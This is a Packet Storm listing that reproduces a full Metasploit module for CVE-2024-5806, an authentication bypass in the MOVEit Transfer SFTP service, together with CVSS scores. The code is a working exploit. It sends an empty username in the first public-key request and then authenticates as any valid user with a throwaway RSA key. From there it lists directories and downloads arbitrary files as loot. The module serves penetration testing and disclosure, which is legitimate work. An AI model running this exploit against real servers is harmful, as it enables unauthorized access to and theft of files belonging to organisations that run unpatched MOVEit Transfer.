Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:180703
HistoryAug 31, 2024 - 12:00 a.m.

Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read

2024-08-3100:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
16
metasploit
cve-2024-5806
progress moveit
sftp
authentication bypass
arbitrary file read
vulnerability
net::ssh
net::sftp
openssl
moveit transfer
security
exploit
remote code execution

CVSS3

9.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

AI Score

7.1

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'net/ssh/transport/session'  
require 'net/sftp'  
require 'openssl'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',  
'Description' => %q{  
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The  
following version are affected:  
  
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)  
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)  
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)  
  
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing  
the contents of a directory, and the reading of an arbitrary file.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7' # MSF Module & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2024-5806'],  
['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis.  
],  
'DisclosureDate' => '2024-06-25',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RHOST,  
Opt::RPORT(22),  
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),  
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),  
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']),  
Opt::Proxies  
]  
)  
end  
  
# This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will  
# honor Metasploit's network pivots, and route a connection through the expected session if applicable.  
def open(host, port, _connection_options = nil)  
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")  
Rex::Socket::Tcp.create(  
'PeerHost' => host,  
'PeerPort' => port,  
'Proxies' => datastore['Proxies'],  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
end  
  
def check  
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)  
# service and we pull out the servers version string.  
transport = ::Net::SSH::Transport::Session.new(  
datastore['RHOST'],  
{  
port: datastore['RPORT'],  
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.  
proxy: self  
}  
)  
  
ident = transport.server_version.version  
  
# We test the SSH version string for a known value of MOVEit SFTP.  
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'  
  
# We cannot get a product version number, so the best we can do is return Detected.  
Msf::Exploit::CheckCode::Detected(ident)  
rescue ::Rex::ConnectionRefused  
Msf::Exploit::CheckCode::Unknown('Connection Refused')  
rescue ::Rex::HostUnreachable  
Msf::Exploit::CheckCode::Unknown('Host Unreachable')  
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout  
Msf::Exploit::CheckCode::Unknown('Connection Timeout')  
end  
  
def run  
# We want to change the behaviour of the build_request method. So first we alias the original build_request  
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.  
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)  
  
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon  
# the initial publickey auth request, then when sending the signature response to the server, we provide the username  
# of the valid user account we want to authenticate as.  
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|  
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)  
end  
  
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")  
  
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get  
# back a valid SFTP session which we can interact with.  
::Net::SFTP.start(  
datastore['RHOST'],  
datastore['TARGETUSER'],  
{  
port: datastore['RPORT'],  
auth_methods: ['publickey'],  
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new  
# key (in PEM format) every time we exploit the vulnerability.  
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],  
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.  
proxy: self  
}  
) do |sftp|  
if File.directory? datastore['TARGETFILE']  
print_status("Listing directory: #{datastore['TARGETFILE']}")  
  
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|  
# When we print the entry, we want to print the full path for each entry, so that further use of this module  
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with  
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to  
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before  
# printing it.  
entry_full_path = File.join(datastore['TARGETFILE'], entry.name)  
  
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))  
end  
else  
print_status("Downloading file: #{datastore['TARGETFILE']}")  
  
read_file(sftp, datastore['TARGETFILE'])  
end  
end  
rescue ::Net::SFTP::StatusException  
print_error('SFTP Status Exception.')  
rescue ::Net::SSH::AuthenticationFailed  
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')  
rescue ::Rex::ConnectionRefused  
print_error('SFTP Connection Refused.')  
rescue ::Rex::HostUnreachable  
print_error('SFTP Host Unreachable.')  
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout  
print_error('SFTP Connection Timeout.')  
ensure  
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)  
end  
  
def read_file(sftp, file_path)  
sftp.open!(file_path) do |open_response|  
unless open_response.ok?  
print_error('SFTP open failed. Is the TARGETFILE path correct?')  
break  
end  
  
file_size = sftp.fstat!(open_response[:handle]).size  
  
sftp.read!(open_response[:handle], 0, file_size) do |read_response|  
unless read_response.ok?  
print_error('SFTP read failed.')  
break  
end  
  
file_data = read_response[:data].to_s  
  
if datastore['STORE_LOOT']  
print_status('Storing the file data to loot...')  
  
store_loot(  
file_path,  
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',  
datastore['RHOST'],  
file_data,  
datastore['TARGETFILE'],  
'File read from Progress MOVEit SFTP server'  
)  
else  
print_line(file_data)  
end  
end  
ensure  
sftp.close!(open_response[:handle]) if open_response.ok?  
end  
end  
  
end  
`

CVSS3

9.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

AI Score

7.1

Confidence

Low